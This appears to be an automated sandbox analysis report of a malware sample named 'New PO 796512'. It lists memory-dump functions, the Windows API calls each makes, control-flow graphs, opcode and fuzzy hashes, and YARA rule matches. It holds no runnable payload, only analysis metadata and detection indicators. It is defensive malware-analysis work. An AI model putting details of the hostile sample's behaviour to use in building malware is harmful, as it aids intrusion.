                                                                                            Similarity
                                                                                            • API ID: CreateFile
                                                                                            • String ID:
                                                                                            • API String ID: 823142352-0
                                                                                            • Opcode ID: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
                                                                                            • Instruction ID: 30690d9e011530b668ed3b4ae7cc5c3fda29d367b226dbf4f68f65ca016a7565
                                                                                            • Opcode Fuzzy Hash: 255eac8f353b7b8934ff6a71ff904c2473dc3201d920852afcf054611f931be4
                                                                                            • Instruction Fuzzy Hash: FDF0BDB2201208ABCB08CF89DC85EEB77ADAF8C754F158248BA0D97241C630E8518BA4
                                                                                            Function 0041A4FA Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 268 41a4fa-41a53d call 41af20 NtAllocateVirtualMemory
                                                                                            APIs
                                                                                            • NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,0041B0F4,?,00000000,?,00003000,00000040,00000000,00000000,00409CE3), ref: 0041A539
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1419632315.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_400000_New PO 796512.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: AllocateMemoryVirtual
                                                                                            • String ID:
                                                                                            • API String ID: 2167126740-0
                                                                                            • Opcode ID: b7cb6307c96b9c1dff6fda19abd0f9901c8c61a3e06f2d2c3ecdae9b2c728609
                                                                                            • Instruction ID: 01974f82cc98b9fc7d6e64d85b3f4f9d580ee50f6494f5b5ffc42913e4fff93d
                                                                                            • Opcode Fuzzy Hash: b7cb6307c96b9c1dff6fda19abd0f9901c8c61a3e06f2d2c3ecdae9b2c728609
                                                                                            • Instruction Fuzzy Hash: 2AF08CB2200148ABDB14DF88CC90EEB77AEEF88354F118549FE08AB241C231E811CBA0
                                                                                            Function 0041A500 Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 271 41a500-41a516 272 41a51c-41a53d NtAllocateVirtualMemory 271->272 273 41a517 call 41af20 271->273 273->272
                                                                                            APIs
                                                                                            • NtAllocateVirtualMemory.NTDLL(00003000,?,00000000,?,0041B0F4,?,00000000,?,00003000,00000040,00000000,00000000,00409CE3), ref: 0041A539
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1419632315.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_400000_New PO 796512.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: AllocateMemoryVirtual
                                                                                            • String ID:
                                                                                            • API String ID: 2167126740-0
                                                                                            • Opcode ID: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
                                                                                            • Instruction ID: c35769ceed384df61eeb5fc049e905e887b244236103aac277853e7772ac0dd9
                                                                                            • Opcode Fuzzy Hash: b2c7a9f16f7248b886659db27fd6bc2ac43cd74a54ece53f3674161978f52f4b
                                                                                            • Instruction Fuzzy Hash: 75F015B2200208ABCB14DF89DC81EEB77ADAF88754F118149BE0897241C630F811CBA4
                                                                                            Function 0041A450 Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • NtClose.NTDLL(00414D40,?,?,00414D40,00409CE3,FFFFFFFF), ref: 0041A475
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1419632315.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_400000_New PO 796512.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: Close
                                                                                            • String ID:
                                                                                            • API String ID: 3535843008-0
                                                                                            • Opcode ID: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
                                                                                            • Instruction ID: e48275ca6f7768b9f0fd4fab79f6d7fda959a909e55c262f35bdb2090c9231ed
                                                                                            • Opcode Fuzzy Hash: 462dc2fd90f57a4a7913ee6487bbcc8fe2490777b3746e68c632e34f0b64e1a4
                                                                                            • Instruction Fuzzy Hash: E5D01776200214ABD710EB99DC85EE77BADEF48764F15449ABA189B242C530FA1086E0
                                                                                            Function 01392B60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID: InitializeThunk
                                                                                            • String ID:
                                                                                            • API String ID: 2994545307-0
                                                                                            • Opcode ID: c6eca65387f8cbd2d3c2ecae69a11608095565f434516c40ee3437ed5c8a0c33
                                                                                            • Instruction ID: 54a94143255f7bc2a3254bdae96c69da31920ee960dee43c8729d1ec4aa2afd0
                                                                                            • Opcode Fuzzy Hash: c6eca65387f8cbd2d3c2ecae69a11608095565f434516c40ee3437ed5c8a0c33
                                                                                            • Instruction Fuzzy Hash: 249002A5702400039105719C4428616400AD7E0206B95C061E1014590DC52589956225
                                                                                            Function 01392BF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID: InitializeThunk
                                                                                            • String ID:
                                                                                            • API String ID: 2994545307-0
                                                                                            • Opcode ID: 21fcc72d660052474c047d10c3f7bf0e7688994f20cc22e6d19cc11a3912d778
                                                                                            • Instruction ID: 27d948913df111ddc88081c8087eca3b9d044d39cde21c6310df0d3b0612c8c6
                                                                                            • Opcode Fuzzy Hash: 21fcc72d660052474c047d10c3f7bf0e7688994f20cc22e6d19cc11a3912d778
                                                                                            • Instruction Fuzzy Hash: 7F90027570140802E180719C441864A0005D7D1306FD5C055A0025654DCA158B5D77A1
                                                                                            Function 01392AD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID: InitializeThunk
                                                                                            • String ID:
                                                                                            • API String ID: 2994545307-0
                                                                                            • Opcode ID: 175e89d953e55c1e393dac52914be804f9d3fa0e22cf4d10fa92c2b185cbae54
                                                                                            • Instruction ID: 889fd49eca3b873cb439e22732a3ec5e64950351c93b5a7749d4c28f1c6127d1
                                                                                            • Opcode Fuzzy Hash: 175e89d953e55c1e393dac52914be804f9d3fa0e22cf4d10fa92c2b185cbae54
                                                                                            • Instruction Fuzzy Hash: 5F90047D711400035105F5DC071C5070047D7D53573D5C071F1015550CD731CD755331
                                                                                            Function 01392D30 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID: InitializeThunk
                                                                                            • String ID:
                                                                                            • API String ID: 2994545307-0
                                                                                            • Opcode ID: 33e766e9df34841cf6bc1469486453b4e361bf5934feb2d2d715b0d93f064c50
                                                                                            • Instruction ID: 3bcfe5c298e04485f57fd5ecde75e51cde4a8b84cdb82f4c5f74a4f49e9ab351
                                                                                            • Opcode Fuzzy Hash: 33e766e9df34841cf6bc1469486453b4e361bf5934feb2d2d715b0d93f064c50
                                                                                            • Instruction Fuzzy Hash: A090026570140003E140719C542C6064005E7E1306F95D051E0414554CD915895A5322
                                                                                            Function 01392D10 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID: InitializeThunk
                                                                                            • String ID:
                                                                                            • API String ID: 2994545307-0
                                                                                            • Opcode ID: c5cf12438b823f956fe96b2323a7d2627d747addfb644c7909dd4a31df87ad8b
                                                                                            • Instruction ID: 4d517a52e65ce09ca2a1e8d9bbb5c995ee2d312e1a65bc90702dcdb31015d797
                                                                                            • Opcode Fuzzy Hash: c5cf12438b823f956fe96b2323a7d2627d747addfb644c7909dd4a31df87ad8b
                                                                                            • Instruction Fuzzy Hash: CD90026D71340002E180719C541C60A0005D7D1207FD5D455A0015558CC915896D5321
                                                                                            Function 01392DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID: InitializeThunk
                                                                                            • String ID:
                                                                                            • API String ID: 2994545307-0
                                                                                            • Opcode ID: de84c5f1486a8744120141c62cd42a792421830de351d96922f841ea01fffa41
                                                                                            • Instruction ID: f193408a96201cc406d6266fe2dc7023656c9b259da8def7772700b1ec20108f
                                                                                            • Opcode Fuzzy Hash: de84c5f1486a8744120141c62cd42a792421830de351d96922f841ea01fffa41
                                                                                            • Instruction Fuzzy Hash: 9890027570140413E111719C45187070009D7D0246FD5C452A0424558DD6568A56A221
                                                                                            Function 01392DD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID: InitializeThunk
                                                                                            • String ID:
                                                                                            • API String ID: 2994545307-0
                                                                                            • Opcode ID: a40d813a6ed4865c491683621215e6d7d52be0f434351f74e723159b194d0d2e
                                                                                            • Instruction ID: f6654d845c9738dc4ad5e6bda0590f3f0fce7891c9edc979525a14c3e5297c6f
                                                                                            • Opcode Fuzzy Hash: a40d813a6ed4865c491683621215e6d7d52be0f434351f74e723159b194d0d2e
                                                                                            • Instruction Fuzzy Hash: F090026574244152A545B19C44185074006E7E02467D5C052A1414950CC526995AD721
                                                                                            Function 01392C70 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID: InitializeThunk
                                                                                            • String ID:
                                                                                            • API String ID: 2994545307-0
                                                                                            • Opcode ID: ff51e7a7a7f54927ac60b3b70d5913199a773f50f37a3c314737d6c173f49829
                                                                                            • Instruction ID: 715e9fe4aa3288be8eb4ff8cccbe8c5c67837b29eccb0878c366be8cdb5b50a0
                                                                                            • Opcode Fuzzy Hash: ff51e7a7a7f54927ac60b3b70d5913199a773f50f37a3c314737d6c173f49829
                                                                                            • Instruction Fuzzy Hash: 4090027570148802E110719C841874A0005D7D0306F99C451A4424658DC69589957221
                                                                                            Function 01392CA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID: InitializeThunk
                                                                                            • String ID:
                                                                                            • API String ID: 2994545307-0
                                                                                            • Opcode ID: 53d3b96935caa6574bbfe771102a10d45ad94f0b10890ab78c3d860a5c772a83
                                                                                            • Instruction ID: acf212e65f20ca05c946b0713bd22930c0a88c629d68c4061e180417cff59a71
                                                                                            • Opcode Fuzzy Hash: 53d3b96935caa6574bbfe771102a10d45ad94f0b10890ab78c3d860a5c772a83
                                                                                            • Instruction Fuzzy Hash: BC90027570140402E10075DC541C6460005D7E0306F95D051A5024555EC66589956231
                                                                                            Function 01392F30 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID: InitializeThunk
                                                                                            • String ID:
                                                                                            • API String ID: 2994545307-0
                                                                                            • Opcode ID: 34789080342c4a5340f9325a96b4197649e1ee687f8afab9fa3715af5737c24f
                                                                                            • Instruction ID: 9f27e88d4af6192a74adfd8a6b230bf1c90fe0d71b80f4aa9926eadb1ce2c54e
                                                                                            • Opcode Fuzzy Hash: 34789080342c4a5340f9325a96b4197649e1ee687f8afab9fa3715af5737c24f
                                                                                            • Instruction Fuzzy Hash: 129002A574140442E100719C4428B060005D7E1306F95C055E1064554DC619CD566226
                                                                                            Function 01392FB0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID: InitializeThunk
                                                                                            • String ID:
                                                                                            • API String ID: 2994545307-0
                                                                                            • Opcode ID: c7cbc78b7c9fb604ea70d48f7dba22aeea0d0ab243682907687c906677484756
                                                                                            • Instruction ID: 54d2ee8676f41c466ed1cea6bd126d83541e49cf764e5283b90eb6f83b6e5469
                                                                                            • Opcode Fuzzy Hash: c7cbc78b7c9fb604ea70d48f7dba22aeea0d0ab243682907687c906677484756
                                                                                            • Instruction Fuzzy Hash: 9E900265B0140042914071AC88589064005FBE1216795C161A0998550DC55989695765
                                                                                            Function 01392F90 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID: InitializeThunk
                                                                                            • String ID:
                                                                                            • API String ID: 2994545307-0
                                                                                            • Opcode ID: 117b0691897969359246c8e9d7961dc34223b045d3f38c841a61b4ec875fde15
                                                                                            • Instruction ID: e31db196d671ee527d71b97b8d553466959cd3cf3867f86f9f3a765c9b3251cb
                                                                                            • Opcode Fuzzy Hash: 117b0691897969359246c8e9d7961dc34223b045d3f38c841a61b4ec875fde15
                                                                                            • Instruction Fuzzy Hash: 3C90027570180402E100719C482870B0005D7D0307F95C051A1164555DC62589556671
                                                                                            Function 01392FE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID: InitializeThunk
                                                                                            • String ID:
                                                                                            • API String ID: 2994545307-0
                                                                                            • Opcode ID: 37323e035c8540c45f8c80d57a1532f4d4fa0f734d48bca24b5c620510c12784
                                                                                            • Instruction ID: d06669a847053416653201f7e752f8fe92601e1a3c42534a3956f1afe6b05b4b
                                                                                            • Opcode Fuzzy Hash: 37323e035c8540c45f8c80d57a1532f4d4fa0f734d48bca24b5c620510c12784
                                                                                            • Instruction Fuzzy Hash: 75900265711C0042E20075AC4C28B070005D7D0307F95C155A0154554CC91589655621
                                                                                            Function 01392EA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID: InitializeThunk
                                                                                            • String ID:
                                                                                            • API String ID: 2994545307-0
                                                                                            • Opcode ID: cb562d3b88690908e73c3b54bc678b7c5c00ac18d2f667dddfcf0b46137ba140
                                                                                            • Instruction ID: 21f2df315301fa64598472dd4384ac219f2aca6d730f82c64b98f17888c8ec1d
                                                                                            • Opcode Fuzzy Hash: cb562d3b88690908e73c3b54bc678b7c5c00ac18d2f667dddfcf0b46137ba140
                                                                                            • Instruction Fuzzy Hash: BC9002B570140402E140719C44187460005D7D0306F95C051A5064554EC6598ED96765
                                                                                            Function 01392E80 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1421086615.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_1320000_New PO 796512.jbxd
                                                                                            Similarity
                                                                                            • API ID: InitializeThunk
                                                                                            • String ID:
                                                                                            • API String ID: 2994545307-0
                                                                                            • Opcode ID: 09bf5c79cac5ba81a50b442baf773361e4e7c423f16d70e940354b2cbf02b52e
                                                                                            • Instruction ID: 35a817bb7aadc9b6f9c6a90f91aacee160f109e0192d18b8a766bc017b650fca
                                                                                            • Opcode Fuzzy Hash: 09bf5c79cac5ba81a50b442baf773361e4e7c423f16d70e940354b2cbf02b52e
                                                                                            • Instruction Fuzzy Hash: AD900265B0140502E101719C4418616000AD7D0246FD5C062A1024555ECA258A96A231
                                                                                            Function 00409AA0 Relevance: .1, Instructions: 92COMMON
                                                                                            Download Yara Rule
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1419632315.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_400000_New PO 796512.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID:
                                                                                            • String ID:
                                                                                            • API String ID:
                                                                                            • Opcode ID: 853c01b66d24f589df6b89bde03758f04558a5ab365de05a0f584bb7a63a4c44
                                                                                            • Instruction ID: 4f20240aff7f2371bb6e5cfcebb6b85206ba00274494e6c7b70a30fa46eb6871
                                                                                            • Opcode Fuzzy Hash: 853c01b66d24f589df6b89bde03758f04558a5ab365de05a0f584bb7a63a4c44
                                                                                            • Instruction Fuzzy Hash: 48213CB2D4420957CB25D664AD52BFF737CAB54314F04007FE949A3182F638BF498BA6
                                                                                            Function 0041A5F0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24memoryCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 3 41a5f0-41a621 call 41af20 RtlAllocateHeap
                                                                                            APIs
                                                                                            • RtlAllocateHeap.NTDLL(&EA,?,00414C9F,00414C9F,?,00414526,?,?,?,?,?,00000000,00409CE3,?), ref: 0041A61D
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1419632315.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_400000_New PO 796512.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: AllocateHeap
                                                                                            • String ID: &EA
                                                                                            • API String ID: 1279760036-1330915590
                                                                                            • Opcode ID: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
                                                                                            • Instruction ID: 65e1271fa0e6f293e5ca7d904ec396d69fb6d51de338ced040ab1bfa87458b74
                                                                                            • Opcode Fuzzy Hash: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
                                                                                            • Instruction Fuzzy Hash: 1DE012B2200208ABDB14EF99DC41EA777ADAF88668F118559BA085B242C630F9118AB0
                                                                                            Function 0041A622 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            APIs
                                                                                            • RtlFreeHeap.NTDLL(00000060,00409CE3,?,?,00409CE3,00000060,00000000,00000000,?,?,00409CE3,?,00000000), ref: 0041A65D
                                                                                            • ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 0041A698
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1419632315.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_400000_New PO 796512.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: ExitFreeHeapProcess
                                                                                            • String ID:
                                                                                            • API String ID: 1180424539-0
                                                                                            • Opcode ID: 9d0b7aa4649a42968beaeacc39a22b9943d9d084ea7803fe8be0b19c583ea2ea
                                                                                            • Instruction ID: ac526852fe07e295ad9e1f8e5c70c727010baa419fe947779daec0ea9874e285
                                                                                            • Opcode Fuzzy Hash: 9d0b7aa4649a42968beaeacc39a22b9943d9d084ea7803fe8be0b19c583ea2ea
                                                                                            • Instruction Fuzzy Hash: B601FDB1200204BBC724EF98CC88EEB7B69AF48754F048159FD486B342D230ED10CBE0
                                                                                            Function 0040830F Relevance: 1.6, APIs: 1, Instructions: 55threadwindowCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 210 40830f-40835a call 41be20 call 41c9c0 call 40ace0 call 414e40 219 40835c-40836e PostThreadMessageW 210->219 220 40838e-408392 210->220 222 408370-40838a call 40a470 219->222 223 40838d 219->223 222->223 223->220
                                                                                            APIs
                                                                                            • PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040836A
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1419632315.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_400000_New PO 796512.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: MessagePostThread
                                                                                            • String ID:
                                                                                            • API String ID: 1836367815-0
                                                                                            • Opcode ID: 891ea48f6fd8bb4e4c5008e255e5f6357df2a49d68ba3d42c084fe54f8feafe4
                                                                                            • Instruction ID: 3c81240987c1c1a0a1d15d05ea26d7143b9f32e268b26e8c8adc87db00d2ddc6
                                                                                            • Opcode Fuzzy Hash: 891ea48f6fd8bb4e4c5008e255e5f6357df2a49d68ba3d42c084fe54f8feafe4
                                                                                            • Instruction Fuzzy Hash: C601FC71A8031876EB20A6958C43FFF7B2C5B41B54F04011DFF04BA1C1D6E8690547E9
                                                                                            Function 00408310 Relevance: 1.6, APIs: 1, Instructions: 55threadwindowCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 226 408310-40831f 227 408328-40835a call 41c9c0 call 40ace0 call 414e40 226->227 228 408323 call 41be20 226->228 235 40835c-40836a PostThreadMessageW 227->235 236 40838e-408392 227->236 228->227 237 40836c-40836e 235->237 238 408370-40838a call 40a470 237->238 239 40838d 237->239 238->239 239->236
                                                                                            APIs
                                                                                            • PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040836A
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1419632315.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_400000_New PO 796512.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: MessagePostThread
                                                                                            • String ID:
                                                                                            • API String ID: 1836367815-0
                                                                                            • Opcode ID: 6793861beeebbadff428f1e0055fcae04fb265a346085d9c044c4ec0df2940a0
                                                                                            • Instruction ID: a0f03ca10d03d1d5c38d3c187be8154ddc7636efa3ebbcfd239e67dddfad06e3
                                                                                            • Opcode Fuzzy Hash: 6793861beeebbadff428f1e0055fcae04fb265a346085d9c044c4ec0df2940a0
                                                                                            • Instruction Fuzzy Hash: B4018471A8032877E720A6959C43FFE776C6B40B54F05012AFF04BA1C1E6A8690546EA
                                                                                            Function 0041A781 Relevance: 1.5, APIs: 1, Instructions: 48COMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 257 41a781-41a789 258 41a7d6-41a800 call 41af20 257->258 259 41a78b-41a7aa call 41af20 257->259 263 41a7af-41a7c4 LookupPrivilegeValueW 259->263 263->258
                                                                                            APIs
                                                                                            • LookupPrivilegeValueW.ADVAPI32(00000000,0000003C,0040F1C2,0040F1C2,0000003C,00000000,?,00409D55), ref: 0041A7C0
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1419632315.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_400000_New PO 796512.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: LookupPrivilegeValue
                                                                                            • String ID:
                                                                                            • API String ID: 3899507212-0
                                                                                            • Opcode ID: 433911c76798123703b3c0851bb993e040420f1182433c178ffb3773ba70dff7
                                                                                            • Instruction ID: fcde6beb73f98234858a7b9481e462d53ad9f30889bcca3fae058b0232efc4e0
                                                                                            • Opcode Fuzzy Hash: 433911c76798123703b3c0851bb993e040420f1182433c178ffb3773ba70dff7
                                                                                            • Instruction Fuzzy Hash: 2601A2B22012086FDB14DF54DC45FE737ADEF44314F01405AFA0D5B282C934E9118BE5
                                                                                            Function 0041A630 Relevance: 1.5, APIs: 1, Instructions: 24memoryCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 274 41a630-41a646 275 41a64c-41a698 RtlFreeHeap call 41af20 ExitProcess 274->275 276 41a647 call 41af20 274->276 276->275
                                                                                            APIs
                                                                                            • RtlFreeHeap.NTDLL(00000060,00409CE3,?,?,00409CE3,00000060,00000000,00000000,?,?,00409CE3,?,00000000), ref: 0041A65D
                                                                                            Memory Dump Source
                                                                                            • Source File: 0000000D.00000002.1419632315.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_13_2_400000_New PO 796512.jbxd
                                                                                            Yara matches
                                                                                            Similarity
                                                                                            • API ID: FreeHeap
                                                                                            • String ID:
                                                                                            • API String ID: 3298025750-0
                                                                                            • Opcode ID: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
                                                                                            • Instruction ID: a31e03847b69acb9206512889bce5d114748d47cfafea9ced6338f279cce3475
